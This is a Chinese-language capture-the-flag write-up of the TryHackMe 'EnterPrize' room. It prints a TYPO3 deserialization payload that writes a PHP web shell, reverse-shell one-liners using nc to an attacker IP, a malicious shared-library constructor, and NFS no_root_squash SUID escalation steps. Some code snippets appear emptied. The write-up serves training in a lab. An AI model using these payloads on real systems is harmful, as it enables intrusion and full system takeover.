TryHackMe-EnterPrize(boot2root)

EnterPrize


端口扫描

循例nmap

TryHackMe-EnterPrize(boot2root)_第1张图片

Web枚举

进到enterprize.thm

TryHackMe-EnterPrize(boot2root)_第2张图片

gobuster扫

TryHackMe-EnterPrize(boot2root)_第3张图片

到处扫了一段时间,ffuf扫vhost扫到个maintest

TryHackMe-EnterPrize(boot2root)_第4张图片

进到maintest,是typo3

/typo3conf下有些文件

TryHackMe-EnterPrize(boot2root)_第5张图片

在LocalConfiguration.old有一个key,它应该就是提示当中所说的

TryHackMe-EnterPrize(boot2root)_第6张图片

在谷歌找到一篇有关typo3 encryptionkey到RCE的文章

值得关注的是这段代码

    /**
     * Initializes the current state of the form, based on the request
     * @throws BadRequestException
     */
    protected function initializeFormStateFromRequest()
    {
        $serializedFormStateWithHmac = $this->request->getInternalArgument('__state');
        if ($serializedFormStateWithHmac === null) {
            $this->formState = GeneralUtility::makeInstance(FormState::class);
        } else {
            try {
                $serializedFormState = $this->hashService->validateAndStripHmac($serializedFormStateWithHmac);
            } catch (InvalidHashException | InvalidArgumentForHashGenerationException $e) {
                throw new BadRequestException('The HMAC of the form could not be validated.', 1581862823);
            }
            $this->formState = unserialize(base64_decode($serializedFormState));
        }
    }

encryptionkey用于计算HMAC,而一旦我们利用有效的HMAC将能构造反序列进行RCE

echo '' > ./exp.php

这里不能有双引号,否则可能会破坏后面序列化的payload

使用phpggc生成序列化payload

注意路径,typo3在public下

TryHackMe-EnterPrize(boot2root)_第7张图片

a:2:{i:7;O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:36:"GuzzleHttp\Cookie\CookieJarcookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:33:"GuzzleHttp\Cookie\SetCookiedata";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:26:"<?php system($_GET[1]);?>
";}}}s:39:"GuzzleHttp\Cookie\CookieJarstrictMode";N;s:41:"GuzzleHttp\Cookie\FileCookieJarfilename";s:50:"/var/www/html/public/fileadmin/_temp_/backdoor.php";s:52:"GuzzleHttp\Cookie\FileCookieJarstoreSessionCookies";b:1;}i:7;i:7;}

使用php进行hmac加密


$secrt = hash_hmac('sha1', '', "");
print($secrt);
?>

我们利用contact form表单交付payload

TryHackMe-EnterPrize(boot2root)_第8张图片

burp修改__state

TryHackMe-EnterPrize(boot2root)_第9张图片

访问文件,成功RCE

TryHackMe-EnterPrize(boot2root)_第10张图片

Reverse Shell

用curl把nc传过去

TryHackMe-EnterPrize(boot2root)_第11张图片

reverse shell payload

mkfifo /tmp/f1;/tmp/nc 10.14.39.48 8888 < /tmp/f1 | /bin/bash > /tmp/f1

TryHackMe-EnterPrize(boot2root)_第12张图片

getshell

横向移动

在john家目录下发现develop

TryHackMe-EnterPrize(boot2root)_第13张图片

传个pspy64过去看一眼, 在定时执行myapp

TryHackMe-EnterPrize(boot2root)_第14张图片

通过ldd查看,发现了一个john自定义的so文件

TryHackMe-EnterPrize(boot2root)_第15张图片

查看/etc/ld.so.conf,这里记录了动态链接库的路径,这里又指向了/etc/ld.so.conf.d下的所有conf文件

TryHackMe-EnterPrize(boot2root)_第16张图片

有趣的是其中一个文件连接到/home/john/develop的test.conf,而我们有权写入develop文件夹

现在的思路就是通过创建test.conf指向我们自己创建的恶意so文件,让myapp加载从而移动到john

创建test.conf

TryHackMe-EnterPrize(boot2root)_第17张图片

创建c文件

#include 
#include 

__attribute__ ((__constructor__)) void hack (void){
    system("mkfifo /tmp/f3;/tmp/nc 10.14.39.48 9999 < /tmp/f3 | /bin/bash > /tmp/f3");
}

编译,通过wget传过去

在这里插入图片描述

此时再看ldd,libcustom.so已被劫持,libcustom.so已经指向我们创建的so文件了

TryHackMe-EnterPrize(boot2root)_第18张图片

我折腾了几个小时,我发现cronjob执行了代码,但似乎执行失败了,我找不到原因,我也尝试了更换payload,但依旧是失败,即使pspy捕获到了它执行了命令,但并不成功

但我手动执行myapp是能够正常执行的,这也意味着我的payload没有任何问题,是房间可能存在问题导致的

这里我直接打了个pwnkit过去直接到了root

但为了体验房间内容,在john下创建ssh key,直接进到john

user flag

TryHackMe-EnterPrize(boot2root)_第19张图片

权限提升

ss -tlnp发现开了应该是nfs

TryHackMe-EnterPrize(boot2root)_第20张图片

/var/nfs的共享被设置了no_root_squash

TryHackMe-EnterPrize(boot2root)_第21张图片

由于防火墙的存在,我们通过ssh进行端口转发

在这里插入图片描述

挂载

在这里插入图片描述

从靶机中复制其bash过来

在这里插入图片描述

在攻击机中重新复制靶机的bash,并为其赋suid

这里重新复制一遍是为了改变文件的所有者为root,否则suid不是root那就没用了

在这里插入图片描述

直接利用suid bash到root,拿到root flag

TryHackMe-EnterPrize(boot2root)_第22张图片

你可能感兴趣的:(TryHackMe,boot2root,linux渗透测试,web安全,typo3,key泄露)